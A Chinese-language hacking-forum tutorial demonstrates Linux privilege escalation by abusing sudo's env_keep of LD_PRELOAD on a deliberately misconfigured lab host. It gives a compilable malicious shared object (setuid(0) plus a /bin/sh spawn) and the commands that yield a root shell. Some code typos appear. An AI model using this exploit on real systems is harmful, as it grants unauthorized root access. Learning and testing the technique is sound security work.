標題:使用LD_Preload的Linux權限升級技巧

taibeihacker

Moderator

0x00 前言​

共享庫是程序在啟動時加載的庫。正確安裝共享庫後,之後啟動的所有程序將自動使用新的共享庫。

0x01 共享库名称

每個共享庫都有一個名為soname的特殊名稱。 soname有前綴lib,庫的後綴名為.so,後跟句號和版本號。
動態鏈接器可以通過運行一些動態鏈接的程序或共享對象來間接運行。程序ld.so和ld linux.so*查找並加載程序所需的共享對象(共享庫),準備程序執行,然後運行它。 (從這裡讀)
LD_Preload:它是一個環境變量,它列出了共享庫,其中包含重寫標準集的函數,就像/etc/ld.so.preload一樣。這些是由loader/lib/ld-linux實現的想了解更多信息,請閱讀此處。

0x02 实验设置

日誌用戶必須擁有一些sudo權限,這一點很重要,因此,我們已經賦予sudo用戶一些sudo權限,例如由sudo用戶執行的/usr/bin/find。但除此之外,還有一些默認配置,您可以在其中設置一個環境變量作為sudo
為此,請按照以下步驟操作:
輸入visudo打開/etc/sudoers文件
現在賦予一個用戶一些sudo權限,在我們的例子中,“raj”將成為sudoers的成員
raj ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
然後添加以下內容作為默認配置來設置LD_preload的環境。
Defaults env_keep +=LD_PRELOAD
d200kh0x3wk22854.png

0x03 权限升级​

要利用此類漏洞,我們需要立即攻擊受害者的主機,然後進入到權限提升階段。假設你現在通過ssh成功登錄到受害者的主機上,利用sudo -l命令來檢測它並獲取利用信息。注意突出顯示的環境變量將作為sudo運行環境。
v032bwqyegi22855.png

讓我們在/tmp目錄中生成一個C程序文件。
lvoykxbxbzw22856.png

#include stdio.h
#include sys/types.h
#include stdlib.h
void _init() {
unsetenv('LD_PRELOAD');
setgid(0);
setuid(0);
system('/bin/sh');
}
然後將其保存為/cmp中的shell.c
0gbvpyuf3ik22857.png

如上所述,讓我們編譯它以生成一個帶有.so擴展名的共享對象,同樣在Windows操作系統中使用.dll文件,因此輸入以下內容:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami
非常好,我們獲得了ROOT訪問權限。
ksfufmm0nnp22858.png
 
返回
上方